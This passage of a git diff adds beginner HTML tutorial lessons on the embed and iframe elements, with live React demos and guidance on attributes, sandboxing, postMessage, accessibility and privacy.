+      <p style={{margin: "0.4rem 0 0", fontSize: "0.9em", color: "#64748b"}}>
+        This is a real <code>embed</code> element. Results can differ a little from browser to browser, which is part of the lesson.
+      </p>
+    </div>
+  );
+}
+
+export function WhichDemo() {
+  const [what, setWhat] = useState("pdf");
+  const rows = {
+    pdf: {label: "A PDF document", use: "object (or an iframe), plus a visible download link", okForEmbed: "Works on desktop, but gives you no fallback if the viewer is missing", code: '<object data="guide.pdf" type="application/pdf" width="600" height="400">\n  <a href="guide.pdf">Download the guide (PDF, 1.2 MB)</a>\n</object>'},
+    svg: {label: "A vector graphic file", use: "img for pictures, or inline svg when you need to style or script it", okForEmbed: "Works, but img is simpler and safer", code: '<img src="logo.svg" alt="CodeHarborHub logo" width="120" height="40">'},
+    page: {label: "Another web page or widget", use: "iframe, with a title, sandbox and lazy loading", okForEmbed: "Do not use embed for this", code: '<iframe src="https://example.com/widget"\n        title="Booking widget"\n        loading="lazy"\n        sandbox="allow-scripts allow-forms"></iframe>'},
+    image: {label: "A normal picture", use: "img, or picture for several versions", okForEmbed: "Never. img gives you alt text and lazy loading", code: '<img src="photo.jpg" alt="A loaf of bread cooling on a rack" width="600" height="400" loading="lazy">'},
+    video: {label: "Video or sound", use: "video or audio, with source and track", okForEmbed: "Do not use embed for this", code: '<video controls src="lesson.mp4" width="640" height="360"></video>'},
+    plugin: {label: "Flash, Java applets or similar plug-ins", use: "Nothing. These are gone from modern browsers", okForEmbed: "No browser will run them, so rebuild the content with HTML, SVG, canvas, or video", code: "<!-- No longer possible. Rebuild it with open web technology. -->"},
+  };
+  const current = rows[what];
+  return (
+    <div>
+      <fieldset style={{margin: "0 0 0.6rem"}}>
+        <legend>What do you want to put on the page?</legend>
+        {Object.keys(rows).map((key) => (
+          <p key={key} style={{margin: "0.2rem 0"}}>
+            <label><input type="radio" name="which-embed" checked={what === key} onChange={() => setWhat(key)} /> {rows[key].label}</label>
+          </p>
+        ))}
+      </fieldset>
+      <p role="status" style={{margin: "0 0 0.3rem"}}><strong>Better choice:</strong> {current.use}</p>
+      <p style={{margin: "0 0 0.3rem"}}><strong>And <code>embed</code>?</strong> {current.okForEmbed}</p>
+      <pre style={{margin: 0, whiteSpace: "pre-wrap", fontSize: "0.85em"}}><code>{current.code}</code></pre>
+    </div>
+  );
+}
+
+For a long time, the web could not do everything by itself. To show an animation, a rich game, or a special document, a page needed a **plug-in**: a separate program that the visitor had to install. The **`<embed>`** element was invented to hand a rectangle of the page to such a plug-in.
+
+Those plug-ins have now disappeared from modern browsers. But the `<embed>` element is still part of HTML, still works for some files such as PDFs and SVG, and you will meet it in older code. This lesson explains what it does, what it cannot do, and **why you will usually choose something else.**
+
+<AdsComponent />
+<br />
+
+## What You Will Learn
+
+- What `<embed>` is, and where it came from
+- Its few attributes: `src`, `type`, `width`, `height`
+- Why it has **no fallback content**
+- How it compares with `<object>`, `<iframe>`, and `<img>`
+- Accessibility and security limits
+- Better choices for most jobs
+
+## The Basics
+
+<Tabs>
+<TabItem value="code" label="HTML Code" default>
+
+```html title="index.html"
+<embed
+  src="graphic.svg"
+  type="image/svg+xml"
+  width="240"
+  height="96"
+>
+
+<embed
+  src="guide.pdf"
+  type="application/pdf"
+  width="600"
+  height="400"
+>
+```
+
+</TabItem>
+<TabItem value="output" label="Browser Output">
+
+<BrowserWindow url="http://127.0.0.1:5500/index.html">
+<>
+<EmbedLab />
+</>
+</BrowserWindow>
+
+</TabItem>
+</Tabs>
+
+Drag the width, and turn the **type** off. The element is real, and the result shows its biggest weakness: when the browser cannot show the file, you get an **empty box** and no message.
+
+`<embed>` is a **void element**: it has no closing tag and **no content**. There is nowhere to put fallback text or a download link inside it.
+
+## Attributes
+
+| Attribute | What it does | Notes |
+| :-- | :-- | :-- |
+| `src` | The address of the file to embed | Use `https://` |
+| `type` | The MIME type of the file, such as `application/pdf` or `image/svg+xml` | Helps the browser choose how to show it |
+| `width`, `height` | Size in pixels, with no units | Set both, or use CSS |
+
+That is the whole official list. Any **other attributes** are passed along to whatever program handles the file. In the days of plug-ins, that is how you configured them. Today, there is almost nothing to pass to.
+
+There is also **no `alt`**, no `loading`, no `sandbox`, and no `referrerpolicy`. You can add a `title` or an `aria-label` as a name for assistive technology, and CSS works on the element's box, but you cannot ask the browser to restrict what is inside.
+
+### Do Not Trust `type` Alone
+
+`type` is a hint. The browser also looks at the **`Content-Type` header** the server sends for the file. If they disagree, or if the file is something the browser will not show, you get an empty box. Make sure your server sends the right type for each file.
+
+## `embed` vs `object` vs `iframe` vs `img`
+
+<Tabs>
+<TabItem value="code" label="HTML Code" default>
+
+```html title="index.html"
+<!-- A picture: use img -->
+<img src="logo.svg" alt="CodeHarborHub logo" width="120" height="40">
+
+<!-- A PDF, with a fallback: use object -->
+<object data="guide.pdf" type="application/pdf" width="600" height="400">
+  <a href="guide.pdf">Download the guide (PDF)</a>
+</object>
+
+<!-- A web page or widget: use iframe -->
+<iframe src="https://example.com/widget" title="Widget" loading="lazy"></iframe>
+
+<!-- embed: no fallback, no sandbox, no alt -->
+<embed src="guide.pdf" type="application/pdf" width="600" height="400">
+```
+
+</TabItem>
+<TabItem value="output" label="Which Should I Use?">
+
+<BrowserWindow url="http://127.0.0.1:5500/index.html">
+<>
+<WhichDemo />
+</>
+</BrowserWindow>
+
+</TabItem>
+</Tabs>
+
+| | `img` | `object` | `iframe` | `embed` |
+| :-- | :-- | :-- | :-- | :-- |
+| Fallback content | `alt` text | **Yes**, inside the element | Text inside (rarely shown) | **None** |
+| Text alternative | `alt` | Fallback content | `title` | Only `title` or `aria-label` |
+| Can show a web page | No | Yes | **Yes, built for it** | Not intended |
+| Lazy loading | `loading="lazy"` | No | `loading="lazy"` | No |
+| Sandbox | n/a | No | **Yes** | **No** |
+| Best for | Pictures, SVG used as a picture | PDFs and older embedded files | Pages, players, maps, widgets | Rarely; older code |
+
+The honest summary: **in new code, you rarely need `<embed>`.** For a graphic, use `<img>` or inline SVG. For a PDF, `<object>` gives you a fallback link. For another page, `<iframe>` gives you `title`, lazy loading, and `sandbox`.
+
+## Embedding a PDF
+
+A PDF is the most common use today. Desktop browsers usually have a built-in viewer, so this works:
+
+```html
+<embed src="guide.pdf" type="application/pdf" width="600" height="400">
+```
+
+But think about the visitors for whom it does not:
+
+- **Many phones and tablets** show nothing, or only a small preview, or just offer a download.
+- Some browsers have **no built-in viewer** and download the file.
+- A visitor with a **screen reader** or only a keyboard may find the viewer hard to use, and may get stuck inside it.
+- You get **no fallback** for any of them.
+
+You can ask the browser whether it has a viewer, on the supported browsers:
+
+```js
+if (navigator.pdfViewerEnabled) {
+  // safe to show an inline viewer
+} else {
+  // show a plain download link instead
+}
+```
+
+The simplest, kindest pattern is always: **a visible link to the PDF, with its size, next to or instead of the viewer.**
+
+```html
+<p><a href="guide.pdf">Download the guide (PDF, 1.2 MB)</a></p>
+```
+
+And if the content matters, offer an **HTML version** too. HTML is easier to search, translate, read on a phone, and use with assistive technology than most PDFs.
+
+## Embedding SVG
+
+An SVG file shown through `<embed>` is displayed as a separate document. Scripts inside the SVG can run, and the SVG can load other things. That is rarely what you want.
+
+- For a **picture**, use `<img src="logo.svg" alt="…">`. It is safe (scripts do not run), cacheable, and has `alt`.
+- For a graphic you want to **style or animate with your page's CSS and JavaScript**, use **inline SVG** (see [SVG](./svg)).
+
+## A Note on Old Code
+
+You may see older pages that wrap an `<embed>` inside an `<object>`, so that one works if the other does not, usually for Flash:
+
+```html
+<object data="movie.swf" type="application/x-shockwave-flash">
+  <embed src="movie.swf" type="application/x-shockwave-flash">
+</object>
+```
+
+Flash, Java applets, and similar plug-ins **no longer run in any current browser.** If you find code like this, the content must be rebuilt with video, SVG, canvas, or JavaScript. Do not try to bring plug-ins back.
+
+## Accessibility at a Glance
+
+- **Prefer elements with a text alternative:** `img` with `alt`, `object` with fallback content, `iframe` with `title`.
+- **If you do use `embed`,** add a `title` or `aria-label`, and put a **visible text link** to the file next to it.
+- **Give a text version** of anything important: an HTML page for a PDF, a data table for a chart.
+- **Test with the keyboard.** A viewer inside the page can trap keyboard focus. Make sure a visitor can Tab out.
+- **Make PDFs accessible** if you must publish them: tagged, with a title, language, headings, and alternative text for images.
+- **Do not put essential information only in the embedded file.**
+- **Set a size** so the page does not jump.
+
+## Security and Privacy Notes
+
+- **`<embed>` has no `sandbox`.** You cannot lock down what runs inside it. For anything you do not fully trust, use an `<iframe>` with `sandbox`.
+- **Embedded files can carry active content.** An SVG can contain scripts, and a PDF can contain links and actions. Never embed a file uploaded by a visitor without checking it.
+- **Serve the right headers.** Send the correct `Content-Type`, and add `X-Content-Type-Options: nosniff` so the browser does not guess a file's type.
+- **Use `https://`.** An insecure embedded file in a secure page is blocked, or can be swapped by someone on the network.
+- **Do not build `src` from user input.** A visitor could make your page show a harmful or private file. Use a fixed list of allowed files.
+- **Remember that the file is public.** Anyone who sees the page can fetch the PDF or SVG directly.
+- **Third-party embedded files** may report back to the other site (through the referrer, for example). See [Third-Party Content Security](./third-party-content-security).
+
+## Global Audience Notes
+
+- **Do not assume every device has a PDF viewer.** Many phones in many regions do not. A plain download link works everywhere.
+- **PDFs are heavy.** Show the size ("1.2 MB") so visitors on slow or metered connections can choose.
+- **Offer content in HTML,** which can be translated by the browser and read in right-to-left languages without special viewers.
+- **Embedded PDF text may not follow the page's language settings.** Mark the language in the file, and name it in your link ("Guide (PDF, English)").
+- **Make files available in more than one language** where you can, and name them clearly.
+
+## Common Mistakes to Avoid
+
+1. **Using `embed` where `img`, `object`, `iframe`, or `video` would do.**
+2. **No visible link** to the file, so visitors with no viewer get an empty box.
+3. **No `type`, or a wrong `type`,** so the browser does not know what to do.
+4. **A wrong `Content-Type` header on the server.**
+5. **No size,** so the page jumps.
+6. **Expecting fallback content,** which `embed` does not have.
+7. **Trying to bring back Flash or Java.**
+8. **Embedding files from users, or from addresses you do not control,** without checks.
+9. **Giving the only copy of important information** to a PDF.
+10. **Forgetting a `title` or `aria-label`.**
+11. **Trapping keyboard users** inside a viewer.
+12. **Building `src` from user input.**
+
+## Practice Time
+
+Try these in your editor, with a small SVG and a small PDF you have:
+
+1. Embed an SVG with `<embed>`, and set `type`.
+2. Change the `type` to a wrong value, and see what the browser does.
+3. Embed a PDF, and check it on your computer and on your phone.
+4. Add a visible download link next to it, with the file size.
+5. Rewrite the PDF as an `<object>` with fallback text.
+6. Replace the SVG `<embed>` with an `<img>` that has `alt`.
+7. Try to add `sandbox` to an `<embed>`, and note that nothing happens.
+8. Use `navigator.pdfViewerEnabled` to choose between a viewer and a link.
+9. Set the wrong `Content-Type` on your local server for the PDF, and see what changes.
+10. Bonus: write the plain HTML version of a short PDF, and compare how each works with a screen reader.
+
+<AdsComponent />
+<br />
+
+## Quick Recap
+
+Click a question to check your answer.
+
+<details>
+<summary>1. What was `embed` originally for?</summary>
+
+It handed a rectangle of the page to a browser plug-in, such as Flash or a Java applet. Those plug-ins have been removed from modern browsers.
+
+</details>
+
+<details>
+<summary>2. What attributes does `embed` have?</summary>
+
+`src`, `type`, `width`, and `height`. Other attributes were once passed to plug-ins, but that is rarely useful today.
+
+</details>
+
+<details>
+<summary>3. Why is the lack of fallback content a problem?</summary>
+
+`embed` is a void element with no content. If the browser cannot show the file, the visitor sees an empty box and no message, unless you add a link beside it.
+
+</details>
+
+<details>
+<summary>4. Which element is a better choice for a PDF, and why?</summary>
+
+`object`, because it can hold fallback content such as a download link. A visible link to the file is a good idea whichever element you use.
+
+</details>
+
+<details>
+<summary>5. Can you sandbox an `embed`?</summary>
+
+No. There is no `sandbox` attribute on `embed`. For content you do not trust, use an `iframe` with `sandbox`.
+
+</details>
+
+<details>
+<summary>6. What should you use instead of `embed` for a picture?</summary>
+
+`img`, with `alt` text and lazy loading. For a graphic you need to style or script, use inline SVG.
+
+</details>
+
+## Key Takeaways
+
+- `<embed>` is a **void element** with `src`, `type`, `width`, and `height`, and **no fallback content**.
+- It came from the **plug-in era.** Flash, Java applets, and similar plug-ins no longer run.
+- Today it can still show **PDFs and SVG files**, but better elements usually exist.
+- Use **`img`** for pictures, **`object`** for PDFs with a fallback, **`iframe`** for pages and widgets, and **`video`** or **`audio`** for media.
+- Always provide a **visible link** and a **text version** of important content.
+- `embed` has **no sandbox, no `alt`, and no lazy loading.** Treat what it loads with care.
+- Send the right `Content-Type`, use HTTPS, and never build `src` from user input.
+- Do not assume a PDF viewer on every device.
+
+Next, learn the element that gives embedded files a proper fallback, in [Object](./object), or return to the [Embedded Content overview](../embedded-content).
\ No newline at end of file
diff --git a/tutorials/html/11-embedded-content/iframe.mdx b/tutorials/html/11-embedded-content/iframe.mdx
index 7f0e75e09..cf801fa00 100644
--- a/tutorials/html/11-embedded-content/iframe.mdx
+++ b/tutorials/html/11-embedded-content/iframe.mdx
@@ -1,15 +1,576 @@
 ---
-id: iframe-element
-title: "Inline Frames: The iframe Element"
-sidebar_label: "Inline Frames (<iframe>)"
+id: html-iframe
+title: "HTML Iframe Element"
+sidebar_label: "Iframe"
 sidebar_position: 2
 slug: /html/embedded-content/iframe
-description: "Learn how to embed external web pages, videos, and applications using the iframe tag, managing seamless attributes and sandboxing options."
+description: "Learn the HTML iframe element: embedding another page with src and srcdoc, titles for accessibility, size and aspect-ratio, lazy loading, the sandbox attribute, allow and referrerpolicy, why some sites refuse to be framed, and talking to a frame with postMessage, with live demos."
 keywords:
-  - HTML iframe tag
-  - inline frame element
-  - embed external web page
-  - iframe sandbox security
+  - HTML iframe element
+  - iframe sandbox attribute
+  - iframe title accessibility
+  - iframe loading lazy
+  - iframe allow referrerpolicy
+  - responsive iframe aspect-ratio
+  - iframe srcdoc
+  - X-Frame-Options frame-ancestors
+  - iframe postMessage
+  - embed YouTube map iframe
+  - learn HTML
   - CodeHarborHub HTML
-tags: [html, iframe, embedded-content, security]
----
\ No newline at end of file
+tags: [html, web-development, beginner, iframe, embedded-content, security, accessibility, frontend]
+---
+
+import {useState} from 'react';
+
+export function SandboxLab() {
+  const [flags, setFlags] = useState({scripts: false, sameOrigin: false});
+  const tokens = [];
+  if (flags.scripts) tokens.push("allow-scripts");
+  if (flags.sameOrigin) tokens.push("allow-same-origin");
+  const sandbox = tokens.join(" ");
+  const inner =
+    "<!doctype html><html><body style=\"font-family:sans-serif;margin:0;padding:0.75rem;background:#f1f5f9;color:#0f172a;font-size:14px\">" +
+    "<strong>The page inside the frame</strong>" +
+    "<ul id=\"o\" style=\"margin:0.4rem 0 0;padding-left:1.1rem\"><li>Scripts: blocked (nothing ran)</li></ul>" +
+    "<script>" +
+    "var out=['Scripts: running'];" +
+    "try{localStorage.setItem('t','1');out.push('Storage: allowed')}catch(e){out.push('Storage: blocked')}" +
+    "try{out.push('Parent page title: '+parent.document.title)}catch(e){out.push('Parent page: cannot be read')}" +
+    "var o=document.getElementById('o');o.textContent='';" +
+    "out.forEach(function(t){var li=document.createElement('li');li.textContent=t;o.appendChild(li)});" +
+    "</" + "script></body></html>";
+  const risky = flags.scripts && flags.sameOrigin;
+  return (
+    <div>
+      <fieldset style={{margin: "0 0 0.6rem"}}>
+        <legend>Permissions to give the frame</legend>
+        <label style={{display: "block"}}>
+          <input type="checkbox" checked={flags.scripts} onChange={(event) => setFlags((old) => ({...old, scripts: event.target.checked}))} /> <code>allow-scripts</code> (it may run JavaScript)
+        </label>
+        <label style={{display: "block"}}>
+          <input type="checkbox" checked={flags.sameOrigin} onChange={(event) => setFlags((old) => ({...old, sameOrigin: event.target.checked}))} /> <code>allow-same-origin</code> (it keeps its real origin)
+        </label>
+      </fieldset>
+      <iframe
+        key={sandbox + String(flags.scripts) + String(flags.sameOrigin)}
+        title="A small page used to test sandbox permissions"
+        sandbox={sandbox}
+        srcDoc={inner}
+        style={{width: "100%", maxWidth: "30rem", height: "8.5rem", border: "1px solid #94a3b8", background: "#fff"}}
+      />
+      <pre style={{margin: "0.6rem 0 0", whiteSpace: "pre-wrap", fontSize: "0.85em"}}><code>{"<iframe sandbox=\"" + sandbox + "\" …></iframe>"}</code></pre>
+      <p role="status" style={{margin: "0.4rem 0 0", color: risky ? "#b91c1c" : "inherit"}}>
+        {risky
+          ? "Both are on, and the page came from the same origin as this one, so it reached into the parent page. Combining these two on content you host yourself lets it remove its own sandbox. Never do this for pages you do not fully control."
+          : "The sandbox removes everything you do not list. Switch the boxes and watch what the frame can and cannot do."}
+      </p>
+    </div>
+  );
+}
+
+export function EmbedBuilder() {
+  const [title, setTitle] = useState("Map of the Town Hall");
+  const [src, setSrc] = useState("https://maps.example.com/embed?q=Town+Hall");
+  const [ratio, setRatio] = useState("16 / 9");
+  const [lazy, setLazy] = useState(true);
+  const [trust, setTrust] = useState("partner");
+  const [preset, setPreset] = useState("widget");
+  const sandboxValues = {
+    none: null,
+    strict: "",
+    widget: "allow-scripts allow-same-origin allow-forms allow-popups",
+  };
+  const sandbox = sandboxValues[preset];
+  const lines = ["<iframe", '  src="' + src + '"', '  title="' + title + '"'];
+  lines.push('  style="width:100%;aspect-ratio:' + ratio + ';border:0"');
+  if (lazy) lines.push('  loading="lazy"');
+  if (sandbox !== null) lines.push('  sandbox="' + sandbox + '"');
+  lines.push('  referrerpolicy="strict-origin-when-cross-origin"');
+  lines.push("></iframe>");
+  const warnings = [];
+  if (!title.trim()) warnings.push({bad: true, text: "No title. Screen reader users will only hear “frame”."});
+  if (title.trim().length > 0 && title.trim().length < 6) warnings.push({bad: true, text: "A very short title. Say what the frame holds."});
+  if (!/^https:\/\//.test(src)) warnings.push({bad: true, text: "The address does not start with https://. An insecure frame is blocked or unsafe on a secure page."});
+  if (trust === "unknown" && sandbox === null) warnings.push({bad: true, text: "Content you do not trust, with no sandbox. Add one, and give back only the permissions it truly needs."});
+  if (trust === "own" && preset === "widget") warnings.push({bad: true, text: "A page from your own site with allow-scripts and allow-same-origin together can remove its own sandbox, so this sandbox gives no protection."});
+  if (!lazy) warnings.push({bad: false, text: "Without loading=\"lazy\", the frame downloads at once, even if it is far down the page."});
+  if (warnings.length === 0) warnings.push({bad: false, text: "A named, sized, lazy, restricted frame: a good pattern."});
+  return (
+    <form onSubmit={(event) => event.preventDefault()}>
+      <p style={{margin: "0 0 0.4rem"}}>
+        <label htmlFor="eb-title">title (what the frame holds)</label><br />
+        <input id="eb-title" type="text" value={title} onChange={(event) => setTitle(event.target.value)} style={{width: "100%", maxWidth: "26rem"}} />
+      </p>
+      <p style={{margin: "0 0 0.4rem"}}>
+        <label htmlFor="eb-src">src</label><br />
+        <input id="eb-src" type="text" value={src} onChange={(event) => setSrc(event.target.value)} style={{width: "100%", maxWidth: "26rem"}} />
+      </p>
+      <p style={{display: "flex", gap: "1rem", flexWrap: "wrap", margin: "0 0 0.4rem"}}>
+        <label>Shape{" "}
+          <select value={ratio} onChange={(event) => setRatio(event.target.value)}>
+            <option>16 / 9</option>
+            <option>4 / 3</option>
+            <option>1 / 1</option>
+          </select>
+        </label>
+        <label>Who made it?{" "}
+          <select value={trust} onChange={(event) => setTrust(event.target.value)}>
+            <option value="own">my own site</option>
+            <option value="partner">a trusted partner</option>
+            <option value="unknown">someone I do not know</option>
+          </select>
+        </label>
+        <label>Sandbox{" "}
+          <select value={preset} onChange={(event) => setPreset(event.target.value)}>
+            <option value="none">none</option>
+            <option value="strict">strict (empty)</option>
+            <option value="widget">typical widget</option>
+          </select>
+        </label>
+        <label><input type="checkbox" checked={lazy} onChange={(event) => setLazy(event.target.checked)} /> lazy loading</label>
+      </p>
+      <pre style={{margin: "0 0 0.5rem", whiteSpace: "pre-wrap", fontSize: "0.85em"}}><code>{lines.join("\n")}</code></pre>
+      <ul role="status" style={{margin: 0, paddingLeft: "1.25rem"}}>
+        {warnings.map((entry) => (<li key={entry.text} style={{color: entry.bad ? "#b91c1c" : "#15803d"}}>{entry.text}</li>))}
+      </ul>
+    </form>
+  );
+}
+
+Think of a window in a house. Through it you see a garden that is not part of the house, and that you do not own, but you can look at it, and it appears right where you want it.
+
+The **`<iframe>`** (inline frame) is that window for the web. It shows a **whole other web page inside your page**: a map, a video player, a payment form, a booking widget, a code demo, or even another section of your own site.
+
+It is the most common embedding tool, and also the one that needs the most care, because the page in the window is not yours.
+
+<AdsComponent />
+<br />
+
+## What You Will Learn
+
+- Embedding a page with `src`, and writing a page inline with `srcdoc`
+- Naming and sizing frames, and making them responsive
+- Lazy loading, `allow`, and `referrerpolicy`
+- The `sandbox` attribute, step by step
+- Why some pages refuse to be framed
+- Talking to a frame with `postMessage`
+- Accessibility, performance, and common mistakes
+
+## The Basics
+
+<Tabs>
+<TabItem value="code" label="HTML Code" default>
+
+```html title="index.html"
+<iframe
+  src="https://example.com/booking"
+  title="Book a table"
+  width="600"
+  height="400"
+  loading="lazy"
+></iframe>
+
+<!-- Or write the small page directly with srcdoc -->
+<iframe
+  title="A greeting"
+  srcdoc="<h3>Hello from inside the frame</h3><p>I am a separate page.</p>"
+  sandbox
+></iframe>
+```
+
+</TabItem>
+<TabItem value="output" label="Browser Output">
+
+<BrowserWindow url="http://127.0.0.1:5500/index.html">
+<>
+<iframe
+  title="A greeting"
+  sandbox=""
+  srcDoc="<h3 style='font-family:sans-serif;margin:0 0 0.3rem'>Hello from inside the frame</h3><p style='font-family:sans-serif;margin:0'>I am a separate page.</p>"
+  style={{width: "100%", maxWidth: "30rem", height: "6rem", border: "1px solid #94a3b8"}}
+/>
+</>
+</BrowserWindow>
+
+</TabItem>
+</Tabs>
+
+An `<iframe>` has its **own document**: its own HTML, CSS, JavaScript, and history. Your CSS does not leak in, and its CSS does not leak out. That is the great strength of frames, and the reason they are used for third-party widgets.
+
+## Attributes
+
+| Attribute | What it does | Advice |
+| :-- | :-- | :-- |
+| `src` | The address of the page to show | Use `https://` |
+| `srcdoc` | HTML written right in the attribute, shown instead of `src` | Good for demos and tiny pages |
+| `title` | A name for the frame | **Always add it** |
+| `width`, `height` | Size, in pixels, with no units | Or use CSS |
+| `loading` | `lazy` waits until the frame is near the screen | Use `lazy` for anything below the first screen |
+| `sandbox` | Removes permissions from the framed page | Use it for anything you do not fully control |
+| `allow` | Grants features such as fullscreen or camera | Grant only what is needed |
+| `allowfullscreen` | Lets the frame go full screen | Common for video players |
+| `referrerpolicy` | What address the framed site is told you came from | Limit it for privacy |
+| `name` | A name that links and forms can target | Rarely needed |
+
+Text or elements **inside** the `<iframe>` tags are shown only by browsers that cannot display frames, which today is almost none. You can put a fallback link there, but do not depend on it:
+
+```html
+<iframe src="https://example.com/booking" title="Book a table">
+  <a href="https://example.com/booking">Open the booking page</a>
+</iframe>
+```
+
+## Name Every Frame
+
+A **`title`** is required for accessibility. Screen reader users often move through a page by listing its frames, and an untitled frame is announced only as "frame".
+
+```html
+<!-- Bad -->
+<iframe src="https://player.example.com/embed/42"></iframe>
+
+<!-- Good -->
+<iframe src="https://player.example.com/embed/42"
+        title="Interview with a baker (video, 12 minutes)"></iframe>
+```
+
+A good title says **what it holds**, and for media, the **kind and length**. Keep it short. It is the name of the frame, not a replacement for a text alternative.
+
+## Size and Responsive Frames
+
+A frame with no size gets a small default, and you may need to set both width and height. For a fluid layout, give it a **shape** in CSS:
+
+```css
+iframe {
+  display: block;
+  width: 100%;
+  max-width: 48rem;
+  aspect-ratio: 16 / 9;
+  border: 0;
+}
+```
+
+This is the same technique you saw for video in [Responsive Video](/tutorials/html/audio-video/responsive-video). It also stops the page jumping while the frame loads.
+
+Tips:
+
+- **Use `border: 0`** (or `style="border:0"`) to remove the default frame border.
+- **Do not rely on a fixed height** for content that changes, such as a form. It may show a scroll bar *inside* the frame, which is hard to use. Either make the frame tall enough, or let the framed page tell you its height with `postMessage` (see below).
+- **At 200% zoom and on phones,** check that the framed content is readable without sideways scrolling inside the frame.
+
+## Lazy Loading
+
+Each frame loads a whole page, with its own scripts and styles. A page with three embeds can easily double in weight.
+
+```html
+<iframe src="…" title="…" loading="lazy"></iframe>
+```
+
+`loading="lazy"` tells the browser to wait until the visitor scrolls near the frame. Do **not** use it on a frame that is visible at the top of the page.
+
+For the heaviest players, use a **click-to-load** pattern (sometimes called a facade): show a lightweight picture and a button, and create the `iframe` only when the visitor clicks.
+
+```html
+<button type="button" id="load-map">Show the map</button>
+<div id="map-slot"></div>
+```
+
+```js
+document.getElementById("load-map").addEventListener("click", () => {
+  const frame = document.createElement("iframe");
+  frame.src = "https://maps.example.com/embed?q=Town+Hall";
+  frame.title = "Map of the Town Hall";
+  frame.loading = "lazy";
+  frame.style.cssText = "width:100%;aspect-ratio:16/9;border:0";
+  document.getElementById("map-slot").append(frame);
+});
+```
+
+This also protects your visitors' privacy, because nothing is requested from the third party until they ask for it.
+
+## The Sandbox
+
+The **`sandbox`** attribute is the most important safety tool. With a plain `sandbox` (empty), the framed page is **locked down**: it cannot run scripts, submit forms, open pop-ups, use storage, or reach your page. You then **add back** only what it needs, with space-separated keywords.
+
+| Keyword | Gives back |
+| :-- | :-- |
+| `allow-scripts` | Running JavaScript |
+| `allow-same-origin` | Treated as its real origin (so storage and cookies work) instead of an anonymous one |
+| `allow-forms` | Submitting forms |
+| `allow-popups` | Opening new windows with `window.open` or `target="_blank"` links |
+| `allow-popups-to-escape-sandbox` | Pop-ups that are not themselves sandboxed |
+| `allow-modals` | `alert`, `confirm`, and `print` |
+| `allow-top-navigation-by-user-activation` | Navigating your whole page, but only after a click |
+| `allow-downloads` | Starting downloads |
+
+### Try It: See What a Sandbox Does
+
+This frame holds a small page that tries three things: running a script, using storage, and reading **this** page's title. Turn the permissions on and off.
+
+<Tabs>
+<TabItem value="code" label="HTML Code" default>
+
+```html title="index.html"
+<!-- Locked down: nothing runs -->
+<iframe src="/page.html" title="Locked down" sandbox></iframe>
+
+<!-- Scripts allowed, but kept in an anonymous origin -->
+<iframe src="/page.html" title="Scripts only" sandbox="allow-scripts"></iframe>
+
+<!-- A typical widget from a company you trust -->
+<iframe
+  src="https://widget.example.com/"
+  title="Support chat"
+  sandbox="allow-scripts allow-same-origin allow-forms allow-popups"
+></iframe>
+```
+
+</TabItem>
+<TabItem value="output" label="Browser Output">
+
+<BrowserWindow url="http://127.0.0.1:5500/index.html">
+<>
+<SandboxLab />
+</>
+</BrowserWindow>
+
+</TabItem>
+</Tabs>
+
+:::danger Do not combine the two on your own content
+`allow-scripts` together with `allow-same-origin`, on a page from **your own origin**, lets that page reach into its parent and **remove the sandbox attribute**. The sandbox then does nothing. Use both only for content hosted on a **different** origin that you have chosen to trust, such as a widget from a vendor. The demo above shows the reason: with both on, the framed page can read this page.
+:::
+
+## `allow` and `referrerpolicy`
+
+### `allow`
+
+Powerful features such as the camera, microphone, geolocation, and fullscreen are **off by default** inside a frame from another site. Grant the ones the embed really needs:
+
+```html
+<iframe
+  src="https://player.example.com/embed/42"
+  title="Interview with a baker"
+  allow="fullscreen; picture-in-picture"
+></iframe>
+```
+
+Never write `allow="camera; microphone; geolocation"` out of habit. Each permission is also a risk for your visitors.
+
+### `referrerpolicy`
+
+When a frame loads, the other site normally learns the address of the page that embedded it. Limit that:
+
+```html
+<iframe src="…" title="…" referrerpolicy="strict-origin-when-cross-origin"></iframe>
+```
+
+Use `no-referrer` when the other site does not need to know at all. See [Third-Party Content Security](./third-party-content-security).
+
+## When a Site Refuses to Be Framed
+
+Many sites **forbid** being shown in a frame, to stop "clickjacking" (tricking people into clicking something hidden under a harmless-looking page). They send a header such as:
+
+```text
+X-Frame-Options: DENY
+Content-Security-Policy: frame-ancestors 'self'
+```
+
+If you try to embed such a page, you will see an error such as "refused to connect", or a blank box. You cannot override this from your side. Use the site's **official embed address** or widget (many services publish one), or link to the page instead.
+
+The reverse is also true: **you can protect your own pages** from being framed by other sites:
+
+```text
+Content-Security-Policy: frame-ancestors 'self' https://partner.example.com
+```
+
+## Talking to a Frame: `postMessage`
+
+A frame from another origin is **sealed**: your scripts cannot read it, and it cannot read yours. But the two sides can send each other **messages**, which is how a widget can tell your page its height, or that a form was submitted.
+
+```js title="In your page"
+const frame = document.querySelector("iframe");
+const trusted = "https://widget.example.com";
+
+window.addEventListener("message", (event) => {
+  if (event.origin !== trusted) return;          // ignore everyone else
+  if (event.data && event.data.type === "height") {
+    frame.style.height = Number(event.data.value) + "px";
+  }
+});
+
+frame.contentWindow.postMessage({type: "hello"}, trusted);
+```
+
+```js title="Inside the framed page"
+window.parent.postMessage(
+  {type: "height", value: document.documentElement.scrollHeight},
+  "https://yourshop.example.com"
+);
+```
+
+The two rules that keep this safe:
+
+1. **Always check `event.origin`** before trusting a message.
+2. **Always name the target origin** in `postMessage` (never `"*"` for anything private).
+
+## Accessibility at a Glance
+
+- **Give every frame a `title`** that says what it holds.
+- **Make sure keyboard users can Tab in and out.** Do not trap focus. Test with the embed.
+- **Avoid scroll bars inside frames** when you can. Size the frame to the content.
+- **Check zoom and small screens:** the framed content needs to reflow, and you cannot fix its CSS.
+- **Provide a text alternative or link** to the content outside the frame (an address for a map, a transcript for a video, a booking link).
+- **Do not hide essential information** in a frame that may fail to load or be blocked.
+- **Do not nest frames** inside frames inside frames. Screen reader users get lost.
+- **Respect the embedded page's own accessibility:** you inherit its problems.
+
+## Performance Notes
+
+- **Each frame is a whole page.** It costs a connection, scripts, styles, and memory.
+- **Use `loading="lazy"`,** and click-to-load for heavy players.
+- **Fewer frames is better.** Combine widgets where you can, and remove those no one uses.
+- **Set a size** so the layout does not jump.
+- **Test on slow connections and old phones.**
+
+## Security and Privacy Notes
+
+- **A frame is someone else's page in your page.** It can run code, set cookies, and track visitors. Restrict it with `sandbox`, `allow`, and `referrerpolicy`.
+- **Use `https://`** for every frame. An insecure frame in a secure page is blocked, or can be tampered with.
